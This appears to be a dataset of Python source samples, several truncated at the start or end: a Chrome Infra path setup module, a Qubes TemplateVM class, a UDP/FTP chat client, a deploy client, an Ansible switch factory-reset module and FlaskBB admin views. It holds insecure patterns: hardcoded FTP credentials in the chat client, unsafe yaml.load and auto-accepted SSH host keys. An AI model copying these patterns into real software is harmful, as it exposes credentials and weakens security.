Chrome Infra environment setup. It also provides several faculties to install this environment. Within a cooperating script, the environment can be setup by importing this module and running its 'Install' method: # Install Chrome-Infra environment (replaces 'sys.path'). sys.path.insert(0, os.path.join(os.path.dirname(__file__), os.pardir, ...)) # (/path/to/build/scripts) import common.env common.env.Install() When attempting to export the Chrome Infra path to external scripts, this script can be invoked as an executable with various subcommands to emit a valid PYTHONPATH clause. In addition, this module has several functions to construct the path. The goal is to deploy this module universally among Chrome-Infra scripts, BuildBot configurations, tool invocations, and tests to ensure that they all execute with the same centrally-defined environment. """""" import argparse import collections import contextlib import imp import itertools import os import sys import traceback # Export for bootstrapping. __all__ = [ 'Install', 'PythonPath', ] # Name of enviornment extension file to seek. ENV_EXTENSION_NAME = 'environment.cfg.py' # Standard directories (based on this file's location in the tree). def path_if(*args): if not all(args): return None path = os.path.abspath(os.path.join(*args)) return (path) if os.path.exists(path) else (None) # The path to the directory in which this script resides. Build = path_if(os.path.dirname(__file__), os.pardir, os.pardir) # The path to the directory. BuildInternal = path_if(Build, os.pardir, 'build_internal') def SetPythonPathEnv(value): """"""Sets the system's PYTHONPATH environemnt variable. Args: value (str): The value to use. If this is empty/None, the system's PYTHONPATH will be cleared. """""" # Since we can't assign None to the environment ""dictionary"", we have to # either set or delete the key depending on the original value. if value is not None: os.environ['PYTHONPATH'] = str(value) else: os.environ.pop('PYTHONPATH', None) def Install(**kwargs): """"""Replaces the current 'sys.path' with a hermetic Chrome-Infra path. Args: kwargs (dict): See GetInfraPythonPath arguments. Returns (PythonPath): The PythonPath object that was installed. """""" infra_python_path = GetInfraPythonPath(**kwargs) infra_python_path.Install() return infra_python_path def SplitPath(path): """"""Returns (list): A list of path elements. Splits a path into path elements. For example (assuming '/' is the local system path separator): >>> print SplitPath('/a/b/c/d') ['/', 'a', 'b', 'c', 'd'] >>> print SplitPath('a/b/c') ['a', 'b,' 'c'] """""" parts = [] while True: path, component = os.path.split(path) if not component: if path: parts.append(path) break parts.append(component) parts.reverse() return parts def ExtendPath(base, root_dir): """"""Returns (PythonPath): The extended python path. This method looks for the ENV_EXTENSION_NAME file within ""root_dir"". If present, it will be loaded as a Python module and have its ""Extend"" method called. If no extension is found, the base PythonPath will be returned. Args: base (PythonPath): The base python path. root_dir (str): The path to check for an extension. """""" extension_path = os.path.join(root_dir, ENV_EXTENSION_NAME) if not os.path.isfile(extension_path): return base with open(extension_path, 'r') as fd: extension = fd.read() extension_module = imp.new_module('env-extension') # Execute the enviornment extension. try: exec extension in extension_module.__dict__ extend_func = getattr(extension_module, 'Extend', None) assert extend_func, ( ""The environment extension module is missing the 'Extend()' method."") base = extend_func(base, root_dir) if not isinstance(base, PythonPath): raise TypeError(""Extension module returned non-PythonPath object (%s)"" % ( type(base).__name__,)) except Exception: # Re-raise the exception, but include the configuration file name. tb = traceback.format_exc() raise RuntimeError(""Environment extension [%s] raised exception: %s"" % ( extension_path, tb)) return base def IsSystemPythonPath(path): """"""Returns (bool): If a python path is user-installed. Paths that are known to be user-installed paths can be ignored when setting up a hermetic Python path environment to avoid user libraries that would not be present in other environments falsely affecting code. This function can be updated as-needed to exclude other non-system paths encountered on bots and in the wild. """""" components = SplitPath(path) for component in components: if component in ('dist-packages', 'site-packages'): return False return True class PythonPath(collections.Sequence): """"""An immutable set of Python path elements. All paths represented in this structure are absolute. If a relative path is passed into this structure, it will be converted to absolute based on the current working directory (via os.path.abspath). """""" def __init__(self, components=None): """"""Initializes a new PythonPath instance. Args: components (list): A list of path component strings. """""" seen = set() self._components = [] for component in (components or ()): component = os.path.abspath(component) assert isinstance(component, basestring), ( ""Path component '%s' is not a string (%s)"" % ( component, type(component).__name__)) if component in seen: continue seen.add(component) self._components.append(component) def __getitem__(self, value): return self._components[value] def __len__(self): return len(self._components) def __iadd__(self, other): return self.Append(other) def __repr__(self): return self.pathstr def __eq__(self, other): assert isinstance(other, type(self)) return self._components == other._components @classmethod def Flatten(cls, *paths): """"""Returns (list): A single-level list containing flattened path elements. >>> print PythonPath.Flatten('a', ['b', ['c', 'd']]) ['a', 'b', 'c', 'd'] """""" result = [] for path in paths: if not isinstance(path, basestring): # Assume it's an iterable of paths. result += cls.Flatten(*path) else: result.append(path) return result @classmethod def FromPaths(cls, *paths): """"""Returns (PythonPath): A PythonPath instantiated from path elements. Args: paths (tuple): A tuple of path elements or iterables containing path elements (e.g., PythonPath instances). """""" return cls(cls.Flatten(*paths)) @classmethod def FromPathStr(cls, pathstr): """"""Returns (PythonPath): A PythonPath instantiated from the path string. Args: pathstr (str): An os.pathsep()-delimited path string. """""" return cls(pathstr.split(os.pathsep)) @property def pathstr(self): """"""Returns (str): A path string for the instance's path elements."""""" return os.pathsep.join(self) def IsHermetic(self): """"""Returns (bool): True if this instance contains only system paths."""""" return all(IsSystemPythonPath(p) for p in self) def GetHermetic(self): """"""Returns (PythonPath): derivative PythonPath containing only system paths. """""" return type(self).FromPaths(*(p for p in self if IsSystemPythonPath(p))) def Append(self, *paths): """"""Returns (PythonPath): derivative PythonPath with paths added to the end. Args: paths (tuple): A tuple of path elements to append to the current instance. """""" return type(self)(itertools.chain(self, self.FromPaths(*paths))) def Override(self, *paths): """"""Returns (PythonPath): derivative PythonPath with paths prepended. Args: paths (tuple): A tuple of path elements to prepend to the current instance. """""" return self.FromPaths(*paths).Append(self) def Install(self): """"""Overwrites Python runtime variables based on the current instance. Performs the following operations: - Replaces sys.path with the current instance's path. - Replaces os.environ['PYTHONPATH'] with the current instance's path string. """""" sys.path = list(self) SetPythonPathEnv(self.pathstr) @contextlib.contextmanager def Enter(self): """"""Context manager wrapper for Install. On exit, the context manager will restore the original environment. """""" orig_sys_path = sys.path[:] orig_pythonpath = os.environ.get('PYTHONPATH') try: self.Install() yield finally: sys.path = orig_sys_path SetPythonPathEnv(orig_pythonpath) def GetSysPythonPath(hermetic=True): """"""Returns (PythonPath): A path based on 'sys.path'. Args: hermetic (bool): If True, prune any non-system path. """""" path = PythonPath.FromPaths(*sys.path) if hermetic: path = path.GetHermetic() return path def GetEnvPythonPath(): """"""Returns (PythonPath): A path based on the PYTHONPATH environment variable. """""" pythonpath = os.environ.get('PYTHONPATH') if not pythonpath: return PythonPath.FromPaths() return PythonPath.FromPathStr(pythonpath) def GetMasterPythonPath(master_dir): """"""Returns (PythonPath): A path including a BuildBot master's directory. Args: master_dir (str): The BuildBot master root directory. """""" return PythonPath.FromPaths(master_dir) def GetBuildPythonPath(): """"""Returns (PythonPath): The Chrome Infra build path."""""" build_path = PythonPath.FromPaths() for extension_dir in ( Build, BuildInternal, ): if extension_dir: build_path = ExtendPath(build_path, extension_dir) return build_path def GetInfraPythonPath(hermetic=True, master_dir=None): """"""Returns (PythonPath): The full working Chrome Infra utility path. This path is consistent for master, slave, and tool usage. It includes (in this order): - Any environment PYTHONPATH overrides. - If 'master_dir' is supplied, the master's python path component. - The Chrome Infra build path. - The system python path. Args: hermetic (bool): True, prune any non-system path from the system path. master_dir (str): If not None, include a master path component. """""" path = GetEnvPythonPath() if master_dir: path += GetMasterPythonPath(master_dir) path += GetBuildPythonPath() path += GetSysPythonPath(hermetic=hermetic) return path def _InfraPathFromArgs(args): """"""Returns (PythonPath): A PythonPath populated from command-line arguments. Args: args (argparse.Namespace): The command-line arguments constructed by 'main'. """""" return GetInfraPythonPath( master_dir=args.master_dir, ) def _Command_Echo(args, path): """"""Returns (int): Return code. Command function for the 'echo' subcommand. Outputs the path string for 'path'. Args: args (argparse.Namespace): The command-line arguments constructed by 'main'. path (PythonPath): The python path to use. """""" args.output.write(path.pathstr) return 0 def _Command_Print(args, path): """"""Returns (int): Return code. Command function for the 'print' subcommand. Outputs each path component in path on a separate line. Args: args (argparse.Namespace): The command-line arguments constructed by 'main'. path (PythonPath): The python path to use. """""" for component in path: print >>args.output, component return 0 def main(): """"""Main execution function."""""" parser = argparse.ArgumentParser() parser.add_argument('-M', '--master_dir', help=""Augment the path with the master's directory."") parser.add_argument('-o', '--output', metavar='PATH', type=argparse.FileType('w'), default='-', help=""File to output to (use '-' for STDOUT)."") subparsers = parser.add_subparsers() # 'echo' subparser = subparsers.add_parser('echo') subparser.set_defaults(func=_Command_Echo) # 'print' subparser = subparsers.add_parser('print') subparser.set_defaults(func=_Command_Print) # Parse args = parser.parse_args() # Execute our subcommand function, which will return the exit code. path = _InfraPathFromArgs(args) return args.func(args, path) if __name__ == '__main__': sys.exit(main()) ",1 " Marek Marczykowski ) # Copyright (C) 2016 Bahtiar `kalkin-` Gadimov # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, see . # ''' This module contains the TemplateVM implementation ''' import qubes import qubes.config import qubes.vm.qubesvm import qubes.vm.mix.net from qubes.config import defaults from qubes.vm.qubesvm import QubesVM class TemplateVM(QubesVM): '''Template for AppVM''' dir_path_prefix = qubes.config.system_path['qubes_templates_dir'] @property def appvms(self): ''' Returns a generator containing all domains based on the current TemplateVM. ''' for vm in self.app.domains: if hasattr(vm, 'template') and vm.template is self: yield vm netvm = qubes.VMProperty('netvm', load_stage=4, allow_none=True, default=None, # pylint: disable=protected-access setter=qubes.vm.qubesvm.QubesVM.netvm._setter, doc='VM that provides network connection to this domain. When ' '`None`, machine is disconnected.') def __init__(self, *args, **kwargs): assert 'template' not in kwargs, ""A TemplateVM can not have a template"" self.volume_config = { 'root': { 'name': 'root', 'snap_on_start': False, 'save_on_stop': True, 'rw': True, 'source': None, 'size': defaults['root_img_size'], }, 'private': { 'name': 'private', 'snap_on_start': False, 'save_on_stop': True, 'rw': True, 'source': None, 'size': defaults['private_img_size'], 'revisions_to_keep': 0, }, 'volatile': { 'name': 'volatile', 'size': defaults['root_img_size'], 'snap_on_start': False, 'save_on_stop': False, 'rw': True, }, 'kernel': { 'name': 'kernel', 'snap_on_start': False, 'save_on_stop': False, 'rw': False } } super(TemplateVM, self).__init__(*args, **kwargs) @qubes.events.handler('property-set:default_user', 'property-set:kernel', 'property-set:kernelopts', 'property-set:vcpus', 'property-set:memory', 'property-set:maxmem', 'property-set:qrexec_timeout', 'property-set:shutdown_timeout', 'property-set:management_dispvm') def on_property_set_child(self, _event, name, newvalue, oldvalue=None): """"""Send event about default value change to child VMs (which use default inherited from the template). This handler is supposed to be set for properties using `_default_with_template()` function for the default value. """""" if newvalue == oldvalue: return for vm in self.appvms: if not vm.property_is_default(name): continue vm.fire_event('property-reset:' + name, name=name) ",1 "mport time import sys import codecs import os reload(sys) sys.setdefaultencoding( ""utf-8"" ) class ClientMessage(): #设置用户名密码 def setUsrANDPwd(self,usr,pwd): self.usr=usr self.pwd=pwd #设置目标用户 def setToUsr(self,toUsr): self.toUsr=toUsr self.ChatFormTitle=toUsr #设置ip地址和端口号 def setLocalANDPort(self,local,port): self.local = local self.port = port def check_info(self): self.buffer = 1024 self.ADDR=(self.local,self.port) self.udpCliSock = socket.socket(AF_INET, SOCK_DGRAM) self.udpCliSock.sendto('0##'+self.usr+'##'+self.pwd,self.ADDR) self.serverMsg ,self.ADDR = self.udpCliSock.recvfrom(self.buffer) s=self.serverMsg.split('##') if s[0]=='Y': return True elif s[0]== 'N': return False #接收消息 def receiveMessage(self): self.buffer = 1024 self.ADDR=(self.local,self.port) self.udpCliSock = socket.socket(AF_INET, SOCK_DGRAM) self.udpCliSock.sendto('0##'+self.usr+'##'+self.pwd,self.ADDR) while True: #连接建立,接收服务器端消息 self.serverMsg ,self.ADDR = self.udpCliSock.recvfrom(self.buffer) s=self.serverMsg.split('##') if s[0]=='Y': #self.chatText.insert(Tkinter.END,'客户端已经与服务器端建立连接......') return True elif s[0]== 'N': #self.chatText.insert(Tkinter.END,'客户端与服务器端建立连接失败......') return False elif s[0]=='CLOSE': i=5 while i>0: self.chatText.insert(Tkinter.END,'你的账号在另一端登录,该客户端'+str(i)+'秒后退出......') time.sleep(1) i=i-1 self.chatText.delete(Tkinter.END) os._exit(0) #好友列表 elif s[0]=='F': for eachFriend in s[1:len(s)]: print eachFriend #好友上线 elif s[0]=='0': theTime = time.strftime(""%Y-%m-%d %H:%M:%S"", time.localtime()) self.chatText.insert(Tkinter.END, theTime+' ' +'你的好友' + s[1]+'上线了') #好友下线 elif s[0]=='1': theTime = time.strftime(""%Y-%m-%d %H:%M:%S"", time.localtime()) self.chatText.insert(Tkinter.END, theTime+' ' +'你的好友' + s[1]+'下线了') #好友传来消息 elif s[0]=='2': theTime = time.strftime(""%Y-%m-%d %H:%M:%S"", time.localtime()) self.chatText.insert(Tkinter.END, theTime +' '+s[1] +' 说:\n') self.chatText.insert(Tkinter.END, ' ' + s[3]) #好友传来文件 elif s[0]=='3': filename=s[2] f=FTP('192.168.1.105') f.login('Coder', 'xianjian') f.cwd(self.usr) filenameD=filename[:-1].encode(""cp936"") try: f.retrbinary('RETR '+filenameD,open('..\\'+self.usr+'\\'+filenameD,'wb').write) except ftplib.error_perm: print 'ERROR:cannot read file ""%s""' %file self.chatText.insert(Tkinter.END,filename[:-1]+' 传输完成') elif s[0]=='4': agreement=raw_input(s[1]+'请求加你为好友,验证消息:'+s[3]+'你愿意加'+s[1]+'为好友吗(Y/N)') if agreement=='Y': self.udpCliSock.sendto('5##'+s[1]+'##'+s[2]+'##Y',self.ADDR) elif agreement=='N': self.udpCliSock.sendto('5##'+s[1]+'##'+s[2]+'##N',self.ADDR) elif s[0]=='5': if s[3]=='Y': print s[2]+'接受了你的好友请求' elif s[3]=='N': print s[2]+'拒绝了你的好友请求' #发送消息 def sendMessage(self): #得到用户在Text中输入的消息 message = self.inputText.get('1.0',Tkinter.END) #格式化当前的时间 theTime = time.strftime(""%Y-%m-%d %H:%M:%S"", time.localtime()) self.chatText.insert(Tkinter.END, theTime +' 我 说:\n') self.chatText.insert(Tkinter.END,' ' + message + '\n') self.udpCliSock.sendto('2##'+self.usr+'##'+self.toUsr+'##'+message,self.ADDR); #清空用户在Text中输入的消息 self.inputText.delete(0.0,message.__len__()-1.0) #传文件 def sendFile(self): filename = self.inputText.get('1.0',Tkinter.END) theTime = time.strftime(""%Y-%m-%d %H:%M:%S"", time.localtime()) self.chatText.insert(Tkinter.END, theTime +'我' + ' 传文件:\n') self.chatText.insert(Tkinter.END,' ' + filename[:-1] + '\n') f=FTP('192.168.1.105') f.login('Coder', 'xianjian') f.cwd(self.toUsr) filenameU=filename[:-1].encode(""cp936"") try: #f.retrbinary('RETR '+filename,open(filename,'wb').write) #将文件上传到服务器对方文件夹中 f.storbinary('STOR ' + filenameU, open('..\\'+self.usr+'\\'+filenameU, 'rb')) except ftplib.error_perm: print 'ERROR:cannot read file ""%s""' %file self.udpCliSock.sendto('3##'+self.usr+'##'+self.toUsr+'##'+filename,self.ADDR); #加好友 def addFriends(self): message= self.inputText.get('1.0',Tkinter.END) s=message.split('##') self.udpCliSock.sendto('4##'+self.usr+'##'+s[0]+'##'+s[1],self.ADDR); #关闭消息窗口并退出 def close(self): self.udpCliSock.sendto('1##'+self.usr,self.ADDR); sys.exit() #启动线程接收服务器端的消息 def startNewThread(self): thread.start_new_thread(self.receiveMessage,()) def main(): client = ClientMessage() client.setLocalANDPort('192.168.1.105', 8808) client.setUsrANDPwd('12073127', '12073127') client.setToUsr('12073128') client.startNewThread() if __name__=='__main__': main() ",1 "perations import local from fabric.api import hide import yaml VERSION = ""0.0.1"" SERVER_FILE = "".server"" logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) def get_repo_info(): with hide('commands'): f_out = local('git remote -v|grep push|grep origin', capture = True) remote_git = """" start = f_out.find(""http"") end = f_out.find("".git"") remote_git = f_out[start:end] repo_name = remote_git[remote_git.rfind('/')+1:] return repo_name def get_current_branch(): with hide('commands'): f_out = local('git branch', capture = True) start = f_out.find('* ') end = f_out.find('\n') branch = f_out[start+2:end] return branch def get_last_hash(): with hide('commands'): f_out = local('git rev-parse HEAD', capture = True) start = 0 end = f_out.find('\n') branch = f_out[start:end] return branch class Server(object): def __init__(self): try: with open("".server"") as f: self.address = f.readlines()[0] self.repo = get_repo_info() self.current_branch = get_current_branch() ok = self.post_to_server('info') logging.debug(""endpoint: %s"" % (ok)) except IOError: self.address = None def parse_yaml(self,yaml_file): try: data = yaml.load(yaml_file.read()) if data is not None: return data return False except Exception as e: logging.error(e) return False """""" Run a normal client deployment """""" def deploy(self, git_hash = None): if git_hash is None: git_hash = get_last_hash() deploy = {'hash': git_hash, 'branch': get_current_branch()} req = self.post_to_server(""deploy"", deploy) result = json.loads(req) self.parse_server_response(result) def parse_server_response(self,result): if result['status'] == ""ok"": print result['msg'] else: logging.error(result) print (""Error occured: %s"" % (result['msg'])) sys.exit() """""""" Sends a new init configuration for deployment on a branch and current repo """""" def init_config(self, config_file): conf = {'conf':self.parse_yaml(config_file)} if not conf['conf']: print ""Your config file could not be parsed"" sys.exit() req = self.post_to_server(""init.config"", conf) result = json.loads(req) self.parse_server_response(result) """""" Creates the base url for the api """""" def get_base_url(self, command = None): return { 'info': 'http://%s' % (self.address), 'init.config': 'http://%s/api/%s/init/' % (self.address, self.repo), 'deploy': 'http://%s/api/%s/deploy/' % (self.address, self.repo), }.get(command, 'http://%s/api/%s' % (self.address, self.repo)) """""" Post requests to deploy server """""" def post_to_server(self, command = None, data_dict = None): if self.address is not None: url_2 = self.get_base_url(command) if data_dict is not None: logging.debug(""sending post data: %s to: %s"" % (data_dict, url_2)) data = urllib.urlencode(data_dict) req = urllib2.Request(url_2, data) try: rsp = urllib2.urlopen(req) except urllib2.URLError, e: logging.error(""Error 2: couldn't communicate with the server on: %s"" % (url_2)) sys.exit() else: req = urllib2.Request(url_2) try: logging.debug(""executing get on: %s"" % (url_2)) rsp = urllib2.urlopen(req) except urllib2.URLError, e: logging.error(""Error 3: couldn't communicate with the server on: %s"" % (url_2)) sys.exit() return rsp.read() else: logging.error(""Error 4: Can't comunicate with the server"") sys.exit() class DeployAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): logging.debug('DeployAction %r %r %r' % (namespace, values, option_string)) setattr(namespace, self.dest, values) if values is None: server.deploy() else: server.deploy(values) """""" This will read a local config yaml which will be sent to the server If the server will have this repo and branch already configured an error will be trigered. This method can't be used to overwrite config data """""" class InitAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): logging.debug('%r %r %r' % (namespace, values, option_string)) setattr(namespace, self.dest, values) server.init_config(values) # TODO verify with the server if exists already an initiated config for this repo # if exists an error will be displayed class SetupAction(argparse.Action): def __call__(self, parser, namespace, values, option_string=None): logging.debug('%r %r %r' % (namespace, values, option_string)) setattr(namespace, self.dest, values) server = values # write hidden file with the server address f = open(SERVER_FILE,'w') f.write('%s' %(server)) # python will convert \n to os.linesep f.close() server = Server() parser = argparse.ArgumentParser(description = 'Nursery deplkoy system') parser.add_argument('-v','--version', action = 'version', version = '%(prog)s '+VERSION) parser.add_argument('-s','--setup', nargs='?', metavar='Server', action = SetupAction,help = 'setup a nursery deploy system, you need to specify the nursery server endpoint like: http://www.my-nursery-server.com') # each branch needs it's own config file parser.add_argument('-c','--config', metavar='config.yaml', action = InitAction, type = file,help = 'init a new repo deployment with config file you specify') parser.add_argument('-d','--deploy',nargs='?', metavar='hash', action = DeployAction, type = file,help = 'create a new async deploy') parser.add_argument('-i','--info', action='store_true', help = 'some info Nursery Client knows about') if not len(sys.argv) > 1: parser.print_help() else: args = parser.parse_args() logging.debug(args) if args.info: if server.address is not None: print (""remote deploy server: %s"" % server.address) print (""repo: %s"" % server.repo) print (""branch: %s"" % server.current_branch) # comication with the server - done # setup server (with amazon credentials & stuff) # initialize branch deploy with deploy server # read config yaml and send it to the server - file sent - ok # read the response and show it - ok # read the file on the server - ok #TODO # on the server store the git deploy command so it can be processed assync # 3 way to deploy git, client, forced # - client # client -> git deploy (last hash) -> ok # store in db the command if allow_multiple_deploy & stuff # parse the command assync # build file list # get instances # get scripts # make the deployment # on the server we need to modelate this yaml file to the db # find a good way to insert instances in db # filter a deployment based on touced files # make a deployment ",1 "17 Lenovo, Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see . # # Module to Reset to factory settings of Lenovo Switches # Lenovo Networking # ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: cnos_factory author: ""Anil Kumar Muraleedharan (@amuraleedhar)"" short_description: Reset the switch's startup configuration to default (factory) on devices running Lenovo CNOS description: - This module allows you to reset a switch's startup configuration. The method provides a way to reset the startup configuration to its factory settings. This is helpful when you want to move the switch to another topology as a new network device. This module uses SSH to manage network device configuration. The results of the operation can be viewed in results directory. For more information about this module from Lenovo and customizing it usage for your use cases, please visit U(http://systemx.lenovofiles.com/help/index.jsp?topic=%2Fcom.lenovo.switchmgt.ansible.doc%2Fcnos_factory.html) version_added: ""2.3"" extends_documentation_fragment: cnos options: {} ''' EXAMPLES = ''' Tasks : The following are examples of using the module cnos_reload. These are written in the main.yml file of the tasks directory. --- - name: Test Reset to factory cnos_factory: host: ""{{ inventory_hostname }}"" username: ""{{ hostvars[inventory_hostname]['ansible_ssh_user'] }}"" password: ""{{ hostvars[inventory_hostname]['ansible_ssh_pass'] }}"" deviceType: ""{{ hostvars[inventory_hostname]['deviceType'] }}"" outputfile: ""./results/test_factory_{{ inventory_hostname }}_output.txt"" ''' RETURN = ''' msg: description: Success or failure message returned: always type: string sample: ""Switch Startup Config is Reset to factory settings"" ''' import sys try: import paramiko HAS_PARAMIKO = True except ImportError: HAS_PARAMIKO = False import time import socket import array import json import time import re try: from ansible.module_utils.network.cnos import cnos HAS_LIB = True except: HAS_LIB = False from ansible.module_utils.basic import AnsibleModule from collections import defaultdict def main(): module = AnsibleModule( argument_spec=dict( outputfile=dict(required=True), host=dict(required=True), username=dict(required=True), password=dict(required=True, no_log=True), enablePassword=dict(required=False, no_log=True), deviceType=dict(required=True),), supports_check_mode=False) username = module.params['username'] password = module.params['password'] enablePassword = module.params['enablePassword'] cliCommand = ""save erase \n"" outputfile = module.params['outputfile'] hostIP = module.params['host'] deviceType = module.params['deviceType'] output = """" if not HAS_PARAMIKO: module.fail_json(msg='paramiko is required for this module') # Create instance of SSHClient object remote_conn_pre = paramiko.SSHClient() # Automatically add untrusted hosts (make sure okay for security policy in your environment) remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # initiate SSH connection with the switch remote_conn_pre.connect(hostIP, username=username, password=password) time.sleep(2) # Use invoke_shell to establish an 'interactive session' remote_conn = remote_conn_pre.invoke_shell() time.sleep(2) # Enable and enter configure terminal then send command output = output + cnos.waitForDeviceResponse(""\n"", "">"", 2, remote_conn) output = output + cnos.enterEnableModeForDevice(enablePassword, 3, remote_conn) # Make terminal length = 0 output = output + cnos.waitForDeviceResponse(""terminal length 0\n"", ""#"", 2, remote_conn) # cnos.debugOutput(cliCommand) # Send the CLi command output = output + cnos.waitForDeviceResponse(cliCommand, ""[n]"", 2, remote_conn) output = output + cnos.waitForDeviceResponse(""y"" + ""\n"", ""#"", 2, remote_conn) # Save it into the file file = open(outputfile, ""a"") file.write(output) file.close() errorMsg = cnos.checkOutputForError(output) if(errorMsg is None): module.exit_json(changed=True, msg=""Switch Startup Config is Reset to factory settings "") else: module.fail_json(msg=errorMsg) if __name__ == '__main__': main() ",1 "(c) 2014 by the FlaskBB Team. :license: BSD, see LICENSE for more details. """""" import sys from flask import (Blueprint, current_app, request, redirect, url_for, flash, jsonify, __version__ as flask_version) from flask_login import current_user, login_fresh from flask_plugins import get_all_plugins, get_plugin, get_plugin_from_all from flask_babelplus import gettext as _ from flask_allows import Permission, Not from flaskbb import __version__ as flaskbb_version from flaskbb._compat import iteritems from flaskbb.forum.forms import UserSearchForm from flaskbb.utils.settings import flaskbb_config from flaskbb.utils.requirements import (IsAtleastModerator, IsAdmin, CanBanUser, CanEditUser, IsAtleastSuperModerator) from flaskbb.extensions import db, allows from flaskbb.utils.helpers import (render_template, time_diff, time_utcnow, get_online_users) from flaskbb.user.models import Guest, User, Group from flaskbb.forum.models import Post, Topic, Forum, Category, Report from flaskbb.management.models import Setting, SettingsGroup from flaskbb.management.forms import (AddUserForm, EditUserForm, AddGroupForm, EditGroupForm, EditForumForm, AddForumForm, CategoryForm) management = Blueprint(""management"", __name__) @management.before_request def check_fresh_login(): """"""Checks if the login is fresh for the current user, otherwise the user has to reauthenticate."""""" if not login_fresh(): return current_app.login_manager.needs_refresh() @management.route(""/"") @allows.requires(IsAtleastModerator) def overview(): # user and group stats banned_users = User.query.filter( Group.banned == True, Group.id == User.primary_group_id ).count() if not current_app.config[""REDIS_ENABLED""]: online_users = User.query.filter(User.lastseen >= time_diff()).count() else: online_users = len(get_online_users()) stats = { # user stats ""all_users"": User.query.count(), ""banned_users"": banned_users, ""online_users"": online_users, ""all_groups"": Group.query.count(), # forum stats ""report_count"": Report.query.count(), ""topic_count"": Topic.query.count(), ""post_count"": Post.query.count(), # misc stats ""plugins"": get_all_plugins(), ""python_version"": ""%s.%s"" % (sys.version_info[0], sys.version_info[1]), ""flask_version"": flask_version, ""flaskbb_version"": flaskbb_version } return render_template(""management/overview.html"", **stats) @management.route(""/settings"", methods=[""GET"", ""POST""]) @management.route(""/settings/"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def settings(slug=None): slug = slug if slug else ""general"" # get the currently active group active_group = SettingsGroup.query.filter_by(key=slug).first_or_404() # get all groups - used to build the navigation all_groups = SettingsGroup.query.all() SettingsForm = Setting.get_form(active_group) old_settings = Setting.get_settings(active_group) new_settings = {} form = SettingsForm() if form.validate_on_submit(): for key, values in iteritems(old_settings): try: # check if the value has changed if values['value'] == form[key].data: continue else: new_settings[key] = form[key].data except KeyError: pass Setting.update(settings=new_settings, app=current_app) flash(_(""Settings saved.""), ""success"") else: for key, values in iteritems(old_settings): try: form[key].data = values['value'] except (KeyError, ValueError): pass return render_template(""management/settings.html"", form=form, all_groups=all_groups, active_group=active_group) # Users @management.route(""/users"", methods=['GET', 'POST']) @allows.requires(IsAtleastModerator) def users(): page = request.args.get(""page"", 1, type=int) search_form = UserSearchForm() if search_form.validate(): users = search_form.get_results().\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/users.html"", users=users, search_form=search_form) users = User.query. \ order_by(User.id.asc()).\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/users.html"", users=users, search_form=search_form) @management.route(""/users//edit"", methods=[""GET"", ""POST""]) @allows.requires(IsAtleastModerator) def edit_user(user_id): user = User.query.filter_by(id=user_id).first_or_404() if not Permission(CanEditUser, identity=current_user): flash(_(""You are not allowed to edit this user.""), ""danger"") return redirect(url_for(""management.users"")) member_group = db.and_(*[db.not_(getattr(Group, p)) for p in ['admin', 'mod', 'super_mod', 'banned', 'guest']]) filt = db.or_( Group.id.in_(g.id for g in current_user.groups), member_group ) if Permission(IsAtleastSuperModerator, identity=current_user): filt = db.or_(filt, Group.mod) if Permission(IsAdmin, identity=current_user): filt = db.or_(filt, Group.admin, Group.super_mod) if Permission(CanBanUser, identity=current_user): filt = db.or_(filt, Group.banned) group_query = Group.query.filter(filt) form = EditUserForm(user) form.primary_group.query = group_query form.secondary_groups.query = group_query if form.validate_on_submit(): form.populate_obj(user) user.primary_group_id = form.primary_group.data.id # Don't override the password if form.password.data: user.password = form.password.data user.save(groups=form.secondary_groups.data) flash(_(""User updated.""), ""success"") return redirect(url_for(""management.edit_user"", user_id=user.id)) return render_template(""management/user_form.html"", form=form, title=_(""Edit User"")) @management.route(""/users/delete"", methods=[""POST""]) @management.route(""/users//delete"", methods=[""POST""]) @allows.requires(IsAdmin) def delete_user(user_id=None): # ajax request if request.is_xhr: ids = request.get_json()[""ids""] data = [] for user in User.query.filter(User.id.in_(ids)).all(): # do not delete current user if current_user.id == user.id: continue if user.delete(): data.append({ ""id"": user.id, ""type"": ""delete"", ""reverse"": False, ""reverse_name"": None, ""reverse_url"": None }) return jsonify( message=""{} users deleted."".format(len(data)), category=""success"", data=data, status=200 ) user = User.query.filter_by(id=user_id).first_or_404() if current_user.id == user.id: flash(_(""You cannot delete yourself."", ""danger"")) return redirect(url_for(""management.users"")) user.delete() flash(_(""User deleted.""), ""success"") return redirect(url_for(""management.users"")) @management.route(""/users/add"", methods=[""GET"", ""POST""]) @allows.requires(IsAdmin) def add_user(): form = AddUserForm() if form.validate_on_submit(): form.save() flash(_(""User added.""), ""success"") return redirect(url_for(""management.users"")) return render_template(""management/user_form.html"", form=form, title=_(""Add User"")) @management.route(""/users/banned"", methods=[""GET"", ""POST""]) @allows.requires(IsAtleastModerator) def banned_users(): page = request.args.get(""page"", 1, type=int) search_form = UserSearchForm() users = User.query.filter( Group.banned == True, Group.id == User.primary_group_id ).paginate(page, flaskbb_config['USERS_PER_PAGE'], False) if search_form.validate(): users = search_form.get_results().\ paginate(page, flaskbb_config['USERS_PER_PAGE'], False) return render_template(""management/banned_users.html"", users=users, search_form=search_form) return render_template(""management/banned_users.html"", users=users, search_form=search_form) @management.route(""/users/ban"", methods=[""POST""]) @management.route(""/users//ban"", methods=[""POST""]) @allows.requires(IsAtleastModerator) def 